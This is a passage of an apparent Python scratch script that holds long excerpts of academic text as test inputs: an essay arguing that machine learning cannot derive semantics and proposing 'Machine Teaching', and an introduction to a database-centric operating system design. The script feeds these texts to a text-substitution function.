the past century, when the first steps of Artificial Intelligence exploration have been carried out (Turing, 1950; McCarthy et al., 1955).
3. In Search for a Better Fortune
I am not trying to claim that I am more clever or wise than others. All the stupid things that others have persistently tried to do, I have repeatedly tried as well. But in one thing, however, I was certainly different from the others – I have never neglected my final goal: To grasp the information content of an image. Together with other image-processing “partisans” and “camarados” I fought my pixel-oriented battles, but a dream about objectoriented image processing was always blooming in my heart. As you can understand, nothing worthy had come out from that. Nevertheless, some of the things that I was lucky to make happen (at that time) are worth to be mentioned here. For example, I have invented a notion of “Single Pixel Information Content” and a way for its quantitative evaluation (Diamant, 2003). I have also invented a notion of “Specific Information Density of an Image”, and, relying on the pixel’s information content (measure), I have attempted to investigate the effect of “Image Information Content Conservation”. That is, when an image scale is successively reduced, Image Specific Information Density remains unchanged (or even slightly grows up). Then, at some level of reduction, it rapidly declines. This scale, actually the scale one step preceding the drop of Information Density, I thought, should be the most advantageous (scale) to start image information content explorations.
A paper, containing quantitative results and a proof of this idea, has been submitted to the British Machine Vision Conference (Diamant, 2002), but, (as usually), was decisively rejected. Never mind, these investigations have led to an important insight that image information content excavation has to be commenced at an optimal, low-dimensional image representation scale. I am proud to inform the interested readers that similar investigations have been performed recently (and similar results have been attained) by MIT researchers (Torralba, 2009). However, that was done about seven years later, and only in qualitative experiments conducted on human participants (but not as a quantitative work). Never mind, the idea of initial low-dimensional image exploration was in some way consistent with a naïve psychological vision conjecture about how humans look at a scene. Since biological vision research was always busy with only foveated vision studies, one principal aspect of human vision was always remained neglected: How does the brain know where to look in a scene? We do not search our field of view in a regular, raster-scan manner. On the contrary, we do this in an unpredictable, but certainly a not-random manner (Koch et al., 2007; Shomstein & Behrmann, 2008). If so, how does the brain know where to place the eye’s fovea – (the main means for natural language processing) – before it knows in advance where such information is to be found? Certainly, the brain must have a prior knowledge about the scene layout, about the general map of a scene. Certainly, the scale of this map must be several orders lower than the fovea resolution scale, and it is clear that these information gathering maps are being used simultaneously and interchangeably. Such considerations have inevitably led us to a conclusion that other theories, currently unknown to us, which would be capable of explaining such multiscale brain performance have to be urgently searched for. Indeed, very soon I came upon an appropriate theory. And even not a single one, but a whole bundle of theories. In the middle of the 60s of the previous century, three almost simultaneous, but absolutely independently developed, theories have sprung up: Solomonoff’s theory of Inference (Solomonoff, 1964), Kolmogorov’s Complexity theory (Kolmogorov, 1965), and Chaitin’s Algorithmic Information theory (Chaitin, 1966). Since among the three, Kolmogorov’s theory is the most known one, I will first and mainly refer to it in our further discussion. Just as Shannon’s Information theory (Shannon, 1948) published almost 20 years ahead, Kolmogorov’s theory was aimed at providing means for measuring “information”. However, while Shannon’s theory was dealing only with the average amount of information conveyed by an outcome of a random source, Kolmogorov’s theory was busy with information contained in a particular isolated object. Thus, Kolmogorov’s theory was far more suitable to deal with human vision peculiarities. However, I do not intend to bother the readers with explanations about Kolmogorov’s theory merits. Such expanded enlightenment could be found else where, for example (Li & Vitanyi, 2008; Grunvald & Vitanyi, 2008). My humble intention is, relying on the insights of the Kolmogorov’s theory, to provide some useful illuminations, which can be deduced from the theory and applied to the practice of image information content excavation. An essential part of my work has been already done in the past years, and has been even published on several occasions (Diamant, 2004; Diamant, 2005a; Diamant, 2005b). (The publications could be easily found at some freely accessible web repositories, like CiteSeer, Eprintweb, ArXiv, etc. And also on my personal web site: http://www.vidia-mant.info).
However, for the consistency of our discussion, I would like to repeat here the main points of these previous publications. The key point is that information is a description, a certain alphabet-based or languagebased description, which Kolmogorov’s theory regards as a program that, being executed, trustworthy reproduces the original object (Vitanyi, 2006). In an image, such objects are visible data structures from which an image is comprised of. So, a set of reproducible descriptions of image data structures is the information contained in an image. The Kolmogorov’s theory prescribes the way in which such descriptions must be created: At first, the most simplified and generalized structure must be described. Recall the Occam’s Razor principle: Among all hypotheses consistent with the observation choose the simplest one that is cohirent with the data, (Sadrzadeh, 2008). Then, as the level of generalization is gradually decreased, more and more fine-grained image details (structures) become revealed and depicted. This is the second important point, which follows from the theory’s pure mathematical considerations: Image information is a hierarchy of decreasing level descriptions of information details, which unfolds in a coarse-to-fine top-down manner. (Attention, please! Any bottom-up processing is not mentioned here! There is no low-level feature gathering and no feature binding!!! The only proper way for image information elicitation is a top-down coarse-to-fine way of image processing!) The third prominent point, which immediately pops-up from the two just mentioned above, is that the top-down manner of image information elicitation does not require incorporation of any high-level knowledge for its successful accomplishment. It is totally free from any high-level guiding rules and inspirations. (The homunculus have lost his job and is finally fired). That is why I call the information, which unconditionally can be found in an image, – the Physical Information. That is, information that reflects objective (physical) structures in an image and is totally independent of any high level interpretation of the interrelashions between them. What immediately follows from this is that high-level image semantics is not an integrated part of image information content (as it is traditionally assumed). It cannot be seen more as a natural property of an image. Semantic Information, therefore, must be seen as a property of a human observer that watches and scrutinizes an image. That is why we can say now: Semantics is assigned to an image by a human observer. That is strongly at variance with the contemporary views on the concept of semantic information. As it was mentioned above, I have no intention to argue with the mainstream experts, conference chaires, keynotes speekers and invited talks presenters about the validity of my contemplations, about my philosophical inclinations or research duties and preferences. These respected gentlemans would continue to teach you how to extract semantic information from an image or how it should be derived from low-level information features. (I do not provide here examples of such claims. I hope, the readers are well enough acquinted with the state of the art in the field and its mainstream developments, to be able to recall the appropriate cases by themselves. I also hope that readers of this paper are ready to change their minds – fifty or so years of Machine Learning triumfal marching in the head of the Artificial Intelligence parade have not got us closer to the desired goal of Intelligent Machines deployment and use. Partially, the loosely defined (or it would be right to say,
undefined) departure points of this enterprise were the main reasons responsible for this years-long wandering in the desert far away from the promissed land.)
4. “Repetitio est Mater Studiorum”
(For those who are not fluent enough in Latin, the translation of this proverb would be: Reiteration is the mother of learning). Okay, I am really sorry that instead of dealing with the declared subject of this paper (that is, Machine Learning and all its corresponding issues), I have to return again and again to topics that have been already discussed in the past and even published at some previous occasions. (But that is the bad luck of an imageprocessing partisan). Therefore, with all apologies to be due, I will continue our discourse with some extended citations seized from my previously published papers
4.1 Image Physical information Processing
The first citation is related to physical information processing issues and is taken from a five years old paper (Diamant, 2004). The citation subject is – an algorithmic implementation of image physical information mining principles. The algorithm’s block-scheme looks as follows:
As can be seen at Fig. 1, the proposed schema is comprised of three main processing paths: the bottom-up processing path, the top-down processing path and a stack where the discovered information content (the generated descriptions of it) is actually accumulated. The algorithm’s structure reflects the principles of information representation, which have been already defined previously.
As it is shown in the schema, the input image is initially squeezed to a small size of approximately 100 pixels. The rules of this shrinking operation are very simple and fast: four non-overlapping neighbor pixels in an image at level L are averaged and the result is assigned to a pixel in a higher (L+1)-level image. This is known as “four children to one parent relationship”. Then, at the top of the shrinking pyramid, the image is segmented, and each segmented region is labeled. Since the image size at the top is significantly reduced and since in the course of the bottom-up image squeezing a severe data averaging is attained, the image segmentation/labeling procedure does not demand special computational resources. Any well-known segmentation methodology will suffice. We use our own proprietary technique that is based on a low-level (single pixel) information content evaluation (Diamant, 2003), but this is not obligatory. From this point on, the top-down processing path is commenced. At each level, the two previously defined maps (average region intensity map and the associated label map) are expanded to the size of an image at the nearest lower level. Since the regions at different hierarchical levels do not exhibit significant changes in their characteristic intensity, the majority of newly assigned pixels are determined in a sufficiently correct manner. Only pixels at region borders and seeds of newly emerging regions may significantly deviate from the assigned values. Taking the corresponding current-level image as a reference (the left-side unsegmented image), these pixels can be easily detected and subjected to a refinement cycle. In such a manner, the process is subsequently repeated at all descending levels until the segmentation/classification of the original input image is successfully accomplished. At every processing level, every image object-region (just recovered or an inherited one) is registered in the objects’ appearance list, which is the third constituting part of the proposed scheme. The registered object parameters are the available simplified object’s attributes, such as size, center-of-mass position, average object intensity and hierarchical and topological relationship within and between the objects (“sub-part of…”, “at the left of…”, etc.). They are sparse, general, and yet specific enough to capture the object’s characteristic features in a variety of descriptive forms. Examples of algorithm’s performance and some concrete palpable results are provided in several previously published papers (Diamant, 2005a; Diamant, 2005b). In our current discussion it is worth to be mentioned that: First, image segmentation (physical image structures delineation, physical image information elicitation) is performed in a top-down manner, not in a conventional bottom-up mode. Second, the suggested image segmentation principle does not require any knowledge about high-level rules, which are used to support the segmentation process and which are an obligatory part of any bottomup proceeding procedure. Third, canceling the necessity of these high-level rules, makes all Machine Learning techniques useless and invalidates all efforts that are specially carried out to meet this sacred requirement! In this way, Machine Learning loses its role as the main performer in physical information recovery enterprises.
4.2 Image Semantic Information Processing
The context of this sub-section is also an extended quotation from a recently published paper (Diamant, 2008). The key point of this quotation is a semantic information processing architecture based on the same information-defining rules and the same (top-down) information representation principles that were already introduced in Section 3. The block-
schema of such a semantic information processing architecture is borrowed from the above mentioned paper (Diamant, 2008), and is depicted in the Fig. 2.
Scrutinizing of this general image information processing architecture must be preceded by some remarks: Semantic information, which (as we understand now) is a property of an external observer, is separated and dissociated from the physical information processing, in our case an image. Therefore it must be treated (or modeled) in accordance with observerspecific (his/her) cognitive information processing rules. It is well known that human cognitive abilities (including the aptness for image interpretation and the capacity to assign semantics to an image) are empowered by the existence of a huge knowledge base about the things in the surrounding world kept in human brain. This knowledge base is permanently upgraded and updated during the human’s life span. So, if we intend to endow our design with some cognitive capabilities we have to provide it with something equivalent to this (human) knowledge base. It goes without saying that this knowledge base will never be as large and developed as its human prototype. But we are not sure that such a requirement is valid here. After all, humans are also not equal in their cognitive capacities, and the content of their knowledge bases is very diversified as well. (The knowledge base of an aerial photographs interpreter is certainly different from the knowledge base of an X-ray images interpreter, or an IVUS images interpreter, or PET images). The knowledge base of our visual thinking machine has to be small enough to be effective and manageable, but sufficiently large to ensure the data-driven machine learning. Certainly, for our feasibility study we can be satisfied even with a relatively small, specific-task-oriented knowledge base. The next crucial point is the knowledge representation issue. To deal with it, we first of all must arrive at a common agreement about what is the meaning of the term “knowledge”. (A question that usually does not have a single answer.) We state that in our case a suitable definition of it would be: “Knowledge is memorized information”. Consequently, we can say that knowledge (like information) must be a hierarchy of descriptive items, with the grade of description details growing in a top-down manner at the descending levels of the hierarchy. One more point that must be mentioned here, is that these descriptions have to be implemented in some alphabet (as it is in the case of physical information) or in a description language (which better fits the semantic information case). Any farther argument being put aside, we will declare that the most suitable language in our case is the natural human language. After all, the real knowledge bases that we are familiar with are implemented in natural human languages. The next step, then, is predetermined: if natural language is a suitable description implement, the suitable form of this implementation is a narrative, a story tale (Tuffield et al., 2005). If the description hierarchy can be seen as an inverted tree, then the branches of this tree are the stories that encapsulate human’s experience with the surrounding world. And the leaves of these branches are single words (single objects) from which the story parts (single scenes) are composed of. The descent into description details, however, does not stop here, and each single word (single object) can be farther decomposed into its attributes and rules that describe the relations between the attributes. At this stage the physical information reappears. Because the words are usually associated with physical objects in the real world, words’ attributes must be seen as memorized physical information (descriptions). Once derived (by the human visual system) from the
observable world and learned to be associated with a particular word, these physical information descriptions are soldered in into the knowledgebase. Object recognition, thus, turns out to be a comparison and similarity test between currently acquired physical information and the one already retained in the memory. If the similarity test is successful, starting from this point in the hierarchy and climbing back up on the knowledgebase ladder we will obtain: first, the linguistic label for a recognized object; second, the position of this label (word) in the context of the whole story; and third, the ability to verify the validity of an initial guess by testing the appropriateness of the neighboring parts composing the object, that is, the context of a story. In this way, object’s meaningful categorization can be reached, and the first stage of image annotation can be successfully accomplished, providing the basis for farther meaningful (semantic) image interpretation. One question has remained untouched in our discourse: How does this artificial knowledgebase have to be initially created and brought into our thinking machine disposal? This subject deserves a special discussion.
4.3 Can Semantic Knowledge be Learned?
There is no need to reiterate the dictums of the today’s Internet revolution, where access and exchange of semantic information is viewed as a prime and an ultimate goal. Machines are supposed to handle the documents’ semantic content, and Machine Learning techniques, thus, supporting this knowledge mining venture are supposed to be the leading force, the centre forward of this exciting enterprise. Semantic Knowledge mining is now the hottest topic of every conference discussion, most recent research projects and many other big data initiatives. However, in the light of our new definition of information, which was recently introduced in my work and re-introduced in the Section 3 of this paper, I am really skeptic about the Machine Learning ability to meet this challenge. Again, some philosophy would not be out of place here. At first, it must be reiterated that semantics is not a natural property of an image (or a natural property of the data, if you would like a more general view on the subject). Semantics is a property of a human observer that watches and scrutinizes the data, and this property is shared among the observer and other members of his community. By the way, this community does not have to embrace the whole mankind, it can be even a very small community of several people or so, which, nevertheless, were lucky to establish a common view on a particular subject and a common understanding of its meaning. That is the reason why this particular (privet) knowledge can not be attained in any reasonable way, including Machine Learning techniques and tricks. On the other hand, an intelligent information-processing system has to have at its disposal a memorized knowledgebase hierarchy (implemented, as we postulate, as a collection of typical stories) against which the physical information of its input sensors is matched and associated. Finding the suitable story whose attributes most closely match the sensors’ physical information is equivalent to finding the interpretation for the input sensor data (the input physical information). That is the novelty of our proposed architecture. That is the most important feature of our design approach: The knowledgebase hierarchy is used for a linguistic input interpretation, but this knowledge is not derived (by the system) from the input data. It is not learned from the data. On the contrary, in accordance with the top-down information unfolding principle, the knowledge-base hierarchy (as a whole) has to be transferred to the system disposal from the outside. The system doesn’t learn the knowledgebase, it is taught to use the knowledgebase (In our case, a pool of task related stories and their ramifications putted at system disposal in advance).
Thus, providing the system with the needed new knowledge each time when the system is due for a new task accomplishment is becoming a natural duty of Artificial Intelligence (Machine Intelligence) system designer. This shift from Machine Learning to Machine Teaching paradigm should become the key point of intelligent system design and development roadmap. But unfortunately, that has not happen although it has been about three years old since the idea was at first articulated and even occasionally published (Diamant, 2006b).
4.4 Some additional remarks
That is a very important and an interesting twist in the philosophy of intelligent artificial systems design. It does not result from the understanding of the principals of biological systems intelligence or other proudly declared biological inspirations. On the contrary, it results from pure mathematical considerations of the Kolmogorov’s complexity theory. Only now, drawing on the insights of Kolmogorov’s theory, we can seize the interpretation of the facts that we usually come across in our natural (biological) surrounding. It is a very subtle issue among the topics of machine intelligence that I would like to address. “Biologically inspired” means that we borrow from the nature some fruitful ideas, which we intend to replicate in our artificial designs. That is, we presume that we understand or at least are very close to the state of understanding how some biological mechanisms operate, performing their natural duties. But that is not true!.. We don’t have even a slightest hint about how the nature works. What we have are gambling guesses, intuitive feelings, speculations, and – nothing more than that. Another important remark in this regard, is that Nature is not an Engineer. It does not invent new mechanisms and new solutions for its problem-solving. On the contrary, it gradually adjusts and adapts what it already has on the hand. Although the final results are really remarkable, it takes a lot of time to reach them in the course of natural evolution, millions and billions of years. Despite all this, the nature has never reached some very important human-life-shaping revelations – for example, the wheel (as a means for transportation), the cooked food, the writing and numbering practice, etc. The inventors of “Genetic Programming” provide very interesting quotations from Turing’s early works considering Machine Intelligence (Koza et al., 1999; Koza et al., 2002). In his 1948 essay “Intelligent Machines” Alan Turing has identified three broad approaches by which machine intelligence could be achieved: “One approach… is a search through the space of integers representing candidate computer programs, (a logic-driven search)… Another approach is the “cultural search” which relies on knowledge and expertise acquired over a period of years from others. This approach is akin to present-day knowledge-based systems… The third approach is “genetical or evolutionary search”…” (Koza, et al., 1999). From the three, the inventors of Genetic Programming pick up the idea of biological relevance to the problem of machine intelligence acquisition. However, from our point of view (from the point of view inspired by Kolmogorov’s theory) this can not be true. Genetic Programming and Neural Networking are pure bottom-up informationprocessing approaches. As we know today, the right way of information retrieval is a topdown coarse-to-fine approach. Therefore, it might be more intelligent to embrace the first Turing’s alternative – the logic-driven approach. That is, relying on pure logical and engineering approaches to find out the best ways of intelligence reification, and only then to verify our hypothetical solutions against known (or unknown) biological evidences and facts. That is exactly what we are intended to do now.
The first issue is the bottom-up versus top-down information-processing alternatives. Despite the traditional dominance of the bottom-up approach, evidence for top-down preliminary processing in biological vision systems is present in research literature since the early 80s of the previous century (Navon, 1977; Chen, 1982). Unfortunately, they were overlooked both by biological and computer vision communities. The next phenomenon which is usually misunderstood (and consequently mistreated) is the knowledge transfer (in human and animal world), which is usually mistakenly defined as a Learning process. We have proposed a more suitable definition – a Teaching process. Indeed, it turns out that in nature, teaching is a universal and a wide-spread phenomenon. Only recently this fact has become recognized and earned its careful investigation (Csibra, 2007; Hoppitt et al., 2008). Teaching in nature does not mean human-like mentoring – animals do not possess spoken language capabilities. Teaching in nature assumes specific semantic knowledge transfer, specific information relocation from a teacher to a pupil, from one community member to another. And examples of this knowledge transfer are really abundant in our surrounding, if only we are ready to look at them and see them in a proper way. In this regard, dancing bees that convey to the rest of the hive the information about melliferous sites (Zhang et al., 2005), ants that learn in tandem (Franks & Richardson, 2006), and even bacteria developing their antibiotic resistance as a result of a so-called horizontal gene transfer when a single DNA fragment of one bacteria is disseminated among other colony members (Lawrence & Hendrickson, 2003), all these examples convincingly support our claim that meaningful information (the semantic knowledge base) is always transfered to the individual information processing system from the outside, from the external world. The system does not learn it in a traditionally assumed Machine Learning manner. Another benefit which biological science can gain from our logically-driven (engineering) approach is the issue of astrocyte-neuron communication. Only defining information as a description message you can explain how astrocities, (the dominant glial cells), “listen and talk” with neuronal and synaptic networks. In their paper, Voltera & Meldolesi wrote that: “One reason that the active properties of astrocytes have remained in the dark for so long relates to the differences between the excitation mechanisms of these cells and those of neurons. Until recently, the electrical language of neurons was thought to be the only form of excitation in the brain. Astrocytes do not generate action potentials, they were considered to be non-excitable and, therefore, unable to communicate. The finding that astrocytes can be excited non-electrically has expanded our knowledge of the complexity of brain communication to an integrated network of both synaptic and non-synaptic routs” (Voltera & Meldolesi, 2005). That is, traditional belief that a spiking neuron burst is a valid form of information exchange and representation does not hold any more, and has to be replaced by a chemical molecular-language-based discription-massages transfer mechanism. A very important issue of our discussion about semantic information processing is the issue of knowledge representation. As it was already mentioned above, and it also stems from the insights of Kolmogorov’s theory, the best form of knowledge representation has to be a language-based description, a narrative, a story. I do not intend to expand here on the implementaition deatails of this issue. I would like to continue to maintain our discussion on a philosophical level. What follows from this is that we have always to consider intelligence as being carried out in a language, in a linguistic structure. That is, although the blockschema depicted in Fig. 2 outlines only visual information incorporation into the semantic
processing hierarchy, you can easily imagin physical information of other modalities (hearing, haptics, olfactory senses information) being subjected (usually in parallel with information from other sensors) as attributes of semantic (linguistic) objects into the knowledgebase processing hierarchy. (That will again explain you why functional Magnetic Resonance Imaging shows you that visual stimuli are processed in audio stimuli processing zones, which are naturally associated with speech processing. The simple explanation for this is that all modalities are finally processed in the language processing zone, as it is proposed by our approach.) The next important issue, which naturally follows the preceeding ones, is the narrative story form of knowledge representation accepted for the discussed case of semantic information processing. Linguistic tagging, that means labeling image objects with words, is a well known and widely used methodology of image semantics retrival supported by a special class of Machine Learning techniques (Barnard et al., 2003; Duygulu et al., 2008; Blondin Masse et al., 2008). This way of thinking naturally stems from another wide-spread assumption that ontology (the basis of semantic reasoning and elaboration) is a vocabulary, a thesaurus, a dictionary. What follows from our descriptive form of knowledge representation is that ontology has to be treated as a story, a narrative, which naturally describes the system’s behavior in various real-life-encountered situations. However, this very important aspect of intelligent systems design philosophy leads us far away from the main theme of our discussion – the philosophy of Machine Learning. And for that reason I will quit at this point, and not continue further.
5. Conclusions
In this paper I have attempted to promote a new Thinking Machines design and development philosophy. The central point of my approach is a new definition of information, that is, a notion of information as a language-based description. Then, above it the notion of intelligence can be placed, defining intelligence as the system’s ability to process information. The principles of information mining should be placed in the lower part of the construction. Thus, it seems to me, a proper frame for a rational Artificial or Machine Intelligence devices research and development enterprise can be established. Essentially, the declared focus of the paper’s subject is the issue of Machine Learning, which is assumed to be a bundle of techniques used to support all information-processing machinery. But, as you know, Machine Learning as by now (and already for a very long time) is treated as an independent and stand alone discipline, totally detached from its original destination – Thinking Machines research and development (Turing, 1950). The roadmap for this challenge was formulated at the Dartmouth College meeting in the summer of 1956 (McCarthy, et al. 1955). The date of this meeting is considered today as the Artificial Intelligence (AI) birthday. (The very name of AI was coined at this time by John McCarthy, one of the authors of the Dartmouth Proposal). At first, the excitement and hopes were really high, and the goals have seemed to be reachable in a short while. In the Panel Discussion at the Artificial General Intelligence (AGI) Workshop in 2006, Steve Grand has recalled that “Rodney Brooks has a copy of a memo from Marvin Minsky (another father of the Dartmouth Proposal), in which he suggested charging an undergraduate for a summer project with the task of solving vision. I
don’t know where that undergraduate is now, but I guess he hasn’t finished yet” (Panel Discussion, 2006). Indeed, problems of Vision, as well as all other AI troubles, have turned out to be much more complicated and problematic than it looked out at the beginning. Within a decade or so, it became clear that AI tribulations are immense, maybe even intractable. As a consequence, the AI community to a large extent has abandoned its original dream, and turned to more “practical” and “manageable” problems (Wang & Goertzel, 2006). “AI has evolved to being a label on a family of relatively disconnected efforts” (Brachman, 2005). Exactly the same were the milestones of Machine Learning. Machine Learning, which was always perceived as an indispensible component of intelligence, has undergone all the metamorphoses as its general domain. At first, there was a generous offer to let the system by itself (in an autonomous manner) to find out the best way to mimic Intelligence. Why to trouble oneself trying to grasp the principles of intelligence? Let us give the machine the chance to do this by itself. (I can not to withstand the temptation to provide an example of such a fatal misunderstanding: IGI Global Publisher (formerly Idea Group Inc.) has published a Call for Chapter Proposals for a future book “Intelligent Systems for Machine Olfaction: Tools and Methodologies” (Can be found at the publisher site: http://www.igiglobal.com/requests/details.asp?ID=610). You can read in the Introduction part of it: “Intelligent systems are those that, given some data, are able to learn from that data. This ability makes it possible for complex systems to be modeled and/or for performance to be predicted. In turn it is possible to control their functionality through learning/training, without the need for a priory knowledge of the system’s structure”. Once more, I apologize for such a so long quotation.) Then, when the first idealistic objective has failed, Machine Learning was broken into pieces, disintegrated and fragmented to many partial tasks and goals. Now the question in the paper’s title – “When and Where the Horses Went Astray?” – can be answered beyond any doubts: It has happened about 50 years ago! From the standpoint that we possess today, we can even spell out the fundamental flaws which are responsible for this derailment: First, the bottom-up philosophy of information retrieval. (As we know today, the right way of information treatment is the top-down coarse-to-fine line of information processing). Second, is the lack of a proper definition of information, leading, consequently, to a lack of a clear distinction between physical and semantic information. (This failure had a tremendous impact on the Machine Learning disruption). The same can be said about the third misleading factor – misunderstanding of the very nature of semantic information, which has led to an endless, infamous race for knowledge and semantic meaning extraction directly from the raw data. (Which is, obviously, a philosophical lapse). For the same reasons, the basic notion of intelligence has been overlooked and defined erroneously. I hope, in this paper I was lucky to repair some of these misconceptions.
'''
filled_in = '''The year of 2006 was exceptionally cruel to me – almost all of my papers submitted for that year conferences have been rejected. Not “just rejected” – unduly strong rejected. Reviewers of the ECCV (European Conference on Computer Vision) have been especially harsh: "This is a philosophical paper... However, ECCV neither has the tradition nor the forum to present such papers. Sorry..." O my Lord, how such an injustice can be tolerated in this world? However, on the other hand, it can be easily understood why those people hold their grudges against me: Yes, indeed, I always try to take a philosophical stand in all my doings: in thinking, paper writing, problem solving, and so no. In my view, philosophy is not a swear-word. Philosophy is a keen attempt to approach the problem from a more general standpoint, to see the problem from a wider perspective, and to yield, in such a way, a better comprehansion of the problem’s specificity and its interaction with other world realities. Otherwise we are doomed to plunge into the chasm of modern alchemy – to sink in partial, task-oriented determinations and restricted solution-space explorations prone to dead-ends and local traps. It is for this reason that when I started to write about “Machine Learning“, I first went to the Wikipedia to inquire: What is the best definition of the subject? “Machine Learning is a subfield of Artificial Intelligence“ – was the Wikipedia’s prompt answer. Okay. If so, then: “What is Artificial Intelligence?“ – “Artificial Intelligence is the intelligence of machines and the branch of computer science which aims to create it“ – was the response. Very well. Now, the next natural question is: “What is Machine Intelligence?“ At this point, the kindness of Wikipedia has been exhausted and I was thrown back, again to the Artificial Intelligence definition. It was embarrassing how quickly my quest had entered into a loop – a little bit confusing situation for a stubborn philosopher. Attempts to capitalize on other trustworthy sources were not much more productive (Wang, 2006; Legg & Hutter, 2007). For example, Hutter in his manuscript (Legg & Hutter, 2007) provides a list of 70-odd “Machine Intelligence“ definitons. There is no consensus among the items on the list – everyone (and the citations were chosen from the works of the most prominent scholars currently active in the field), everyone has his own particular view on the subject. Such inconsistency and multiplicity of definitions is an unmistakable sign of
philosophical immaturity and a lack of a will to keep the needed grade of universality and generalization. It goes without saying, that the stumbling-block of the Hutter’s list of definitions (Legg & Hutter, 2007) are not the adjectives that was used – after all the terms “Artificial“ and “Machine“ are consensually close in their meaning and therefore are commonly used interchangeably. The real problem – is the elusive and indefinable term „Intelligence“. I will not try the readers’ patience and will not tediously explain how and why I had arrived at my own definition of the matters that I intend to scrutinize in this paper. I hope that my philosophical leanings will be generously excused and the benevolent readers will kindly accept the unusual (reverse) layout of the paper’s topics. For the reasons that would be explained in a little while, the main and the most general paper’s idea will be presented first while its compiling details and components will be exposed (in a discending order) afterwards. And that is how the proposed paper’s layout should look like:
- Intelligence is the system’s ability to process information. This statement is true both for all biological natural systems as for artificial, human-made systems. By “information processing“ we do not mean its simplest forms like information storage and retrieval, information exchange and communication. What we have in mind are the high-level information processing abilities like information analysis and interpretation, structure patterns recognition and the system’s capacity to make decisions and to plan its own behavior. - Information in this case should be defined as a description – A language and/or an alphabet-based description, which results in a reliable reconstruction of an original object (or an event) when such a description is carried out, like an execution of a computer program. - Generally, two kinds of information must be distinguished: Objective (physical) information and subjective (semantic) information. By physical information we mean the description of data structures that are discernable in a data set. By semantic information we mean the description of the relationships that may exist between the physical structures of a given data set. - Machine Learning is defined as the best means for appropriate information retrieval. Its usage is endorsed by the following fundamental assumptions: 1) Structures can be revealed by their characteristic features, 2) Feature aggregation and generalization can be achieved in a bottom-up manner where final results are compiled from the component details, 3) Rules, guiding the process of such compilation, could be learned from the data itself. - All these assumptions validating Machine Learning applications are false. (Further elaboration of the theme will be given later in the text). Meanwhile the following considerations may suffice: - Physical information, being a natural property of the data, can be extracted instantly from the data, and any special rules for such task accomplishment are not needed. Therefore, Machine Learning techniques are irrelevant for the purposes of physical information retrieval. - Unlike physical information, semantics is not a property of the data. Semantics is a property of an external observer that watches and scrutinizes the data. Semantics is assigned to phisical data structures, and therefore it can not be learned
straightforwardly from the data. For this reason, Machine Learning techniques are useless and not applicable for the purposes of smantic information extraction. Semantics is a shared convention, a mutual agreement between the members of a particular group of viewers or users. Its assignment has to be done on the basis of a consensus knowledge that is shared among the group members, and which an artificial semantic-processing system has to possess at its disposal. Accomodation and fitting of this knowledge presumes availability of a different and usually overlooked special learning technique, which would be best defined as Machine Teaching – a technique that would facilitate externally-prepared-knowledge transfer to the system’s disposal .
These are the topics that I am interested to discuss in this paper. Obviously, the reverse order proposed above, will never be reified – there are paper organization rules and requirements, which none never will be allowed to override. They must be, thus, reverently obeyed. And I earnestly promiss to do this (or at least to try to do this) in this paper.
'''
filled_in = '''Current operating systems have evolved over the last forty years into complex overlapping code bases [70, 4, 51, 57], which were architected for very different environments than exist today. The cloud has become a preferred platform, for both decision support and online serving applications. Serverless computing supports the concept of elastic provision of resources, which is very attractive in many environments. Machine learning (ML) is causing many applications to be redesigned, and future operating systems must intimately support such applications. Hardware is becoming massively parallel and heterogeneous. These “sea changes” make it imperative to rethink the architecture of system software, which is the topic of this paper.
Mainstream operating systems (OSs) date from the 1980s and were designed for the hardware platforms of 40 years ago, consisting of a single processor, limited main memory and a small set of runnable tasks. Today’s cloud platforms contain hundreds of thousands of processors, heterogeneous computing resources (including CPUs, GPUs, FPGAs, TPUs, SmartNICs, and so on) and multiple levels of memory and storage. These platforms support millions of active users that access thousands of services. Hence, the OS must deal with a scale problem of 105 or 106 more resources to manage and schedule. Managing OS state is a much bigger problem than 40 years ago in terms of both throughput and latency, as thousands of services must communicate to respond in near real-time to a user’s click [21, 5].
Forty years ago, there was little thought about parallelism. After all, there was only one processor. Now it is not unusual to run Map-Reduce or Apache Spark jobs with thousands of processes using millions of threads [13]. Stragglers creating long-tails inevitably result from substantial parallelism and are the bane of modern systems: incredibly costly and nearly impossible to debug [21].
Forty years ago programmers typically wrote monolithic programs that ran to completion and exited. Now, programs may be coded in multiple languages, make use of libraries of services (like search, communications, databases, ML, and others), and may run continuously with varying load. As a result, debugging has become much more complex and involves a flow of control in multiple environments. Debugging such a network of tasks is a real challenge, not considered forty years ago.
Forty years ago there was little-to-no-thought about privacy and fraud. Now, GDPR [73] dictates system behavior for Personally Identifiable Information (PII) on systems that are under continuous attack. Future systems should build in support for such constructs. Moreover, there are many cases of bad actors doctoring photos or videos, and there is no chain of provenance to automatically record and facilitate exposure of such activity.
Machine learning (ML) is quickly becoming central to all large software systems. However, ML is typically bolted onto the top of most systems as an after thought. Application and system developers struggle to identify the right data for ML analysis and to manage synchronization, ordering, freshness, privacy, provenance, and performance concerns. Future systems should directly support and enable AI applications and AI introspection, including first-order support for declarative semantics for AI operations on system data.
In our opinion, serverless computing will become the dominant cloud architecture. One does not need to spin up a virtual machine (VM), which will sit idle when there is no work to do. Instead, one should use an execution environment like Amazon Lambda. Lambda is an efficient task manager that encourages one to divide up a user task into a pipeline of severalto-many subtasks1. Resources are allocated to a task when it is running, and no resources are consumed at other times. In this way, there are no dedicated VMs; instead there is a collection of short-running subtasks. As such, users only pay for the resources that they consume and their applications can scale to thousands of functions when needed. We expect that Lambda will become the dominant cloud environment unless the cloud vendors radically modify their pricing algorithms. Lambda will cause many more tasks to exist, creating a more expansive task management problem.
Lastly, “bloat” has wrecked havoc on elderly OSs, and the pathlength of common operations such as sending a message and reading bytes from a file are now uncompetitively expensive. One key reason for the bloat is the uncontrolled layering of abstractions. Having a clean, declarative way of capturing and operating on operating system state can help reduce that layering.
These changed circumstances dictate that system software should be reconsidered. In this proposal, we explore a radically different design for operating systems that we believe will scale to support the performance, management and security challenges of modern computing workloads: a data-centric architecture for operating systems built around clean separation of 1In this paper, we will use Lambda as an exemplar of any resource allocation system that supports “pay only for what you use.” all state into database tables, and leveraging the extensive work in DBMS engine technology to provide scalability, high performance, ease of management and security. We sketch why this design could eliminate many of the difficult software engineering challenges in current OSes and how it could aid important applications such as HPC and Internet service workloads. In the next seven sections, we describe the main tenets of this data-centric architecture. Then, in Section 9, we sketch a proposal concerning how to move forward.'''
# filled_in = '''attack removal monotonicity, was introduced by Amgoud et al. [2], in Definition 6. The principle was simply ***mask***. We prefer to use a more specific name, i.e'''
# print("NEW-TEXT:",". ".join(gen_text(filled_in,replacements,sci_fb)),sep="\n")
genSubstitutions(filled_in,replacements,sci_fb)
import timeit
